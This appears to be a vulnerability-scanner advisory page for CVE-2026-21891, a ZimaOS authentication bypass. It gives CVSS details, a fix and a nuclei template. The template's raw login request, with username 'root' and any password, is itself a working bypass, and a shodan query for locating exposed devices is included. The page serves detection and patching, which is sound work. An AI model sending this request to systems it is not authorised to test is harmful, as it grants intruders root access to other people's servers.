ZimaOS - Authentication Bypass

criticalseverity

9.4CVSS score

2.3%likelihood of exploitation, next 30 days

84%of all CVEs are less likely

Readycheck to confirm it

ZimaOS <= 1.5.0 contains a broken authentication caused by improper password validation for known system service accounts in the login function, letting attackers authenticate with any password for these accounts, exploit requires knowledge of common usernames.

Impact

Attackers can gain authenticated access to system service accounts without valid passwords, potentially compromising the system.

Fix

Update to a fixed version when available or apply patches to properly validate passwords for system service accounts.

How to confirm it

Send: POST /v1/users/login
Positive when: contains "success" and "username" and "created_at" AND contains in content_type "application/json" AND status 200

Run it with nuclei: nuclei -id CVE-2026-21891 -u <target>

The full check

id: CVE-2026-21891

info:
  name: ZimaOS - Authentication Bypass
  author: DhiyaneshDk
  severity: critical
  description: |
    ZimaOS <= 1.5.0 contains a broken authentication caused by improper password validation for known system service accounts in the login function, letting attackers authenticate with any password for these accounts, exploit requires knowledge of common usernames.
  impact: |
    Attackers can gain authenticated access to system service accounts without valid passwords, potentially compromising the system.
  remediation: |
    Update to a fixed version when available or apply patches to properly validate passwords for system service accounts.
  reference:
    - https://github.com/IceWhaleTech/ZimaOS/security/advisories/GHSA-xj93-qw9p-jxq4
    - https://nvd.nist.gov/vuln/detail/CVE-2026-21891
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:L
    cvss-score: 9.4
    cve-id: CVE-2026-21891
    cwe-id: CWE-287
    epss-score: 0.02316
    epss-percentile: 0.83566
    cpe: cpe:2.3:o:zimaspace:zimaos:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    shodan-query: html:"ZimaOS"
    product: zimaos
    vendor: zimaspace
  tags: cve,cve2026,zimaos,auth-bypass,broken-auth,vkev

http:
  - raw:
      - |
        POST /v1/users/login HTTP/1.1
        Host: {{Hostname}}
        Accept: application/json, text/plain, */*
        Content-Type: application/json
        Origin: {{RootURL}}
        Referer: {{RootURL}}/

        {
          "username": "root",
          "password": "anything"
        }

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "success"
          - "username"
          - "created_at"
        condition: and

      - type: word
        part: content_type
        words:
          - "application/json"

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from